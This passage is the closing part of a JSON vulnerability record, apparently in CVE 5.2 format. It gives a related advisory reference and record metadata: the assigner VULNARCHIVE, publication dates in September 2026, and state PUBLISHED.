            "sourcePublishedAt": "2026-05-11T22:34:46Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0337"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:56Z",
    "dateUpdated": "2026-09-11T11:28:30Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0337"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}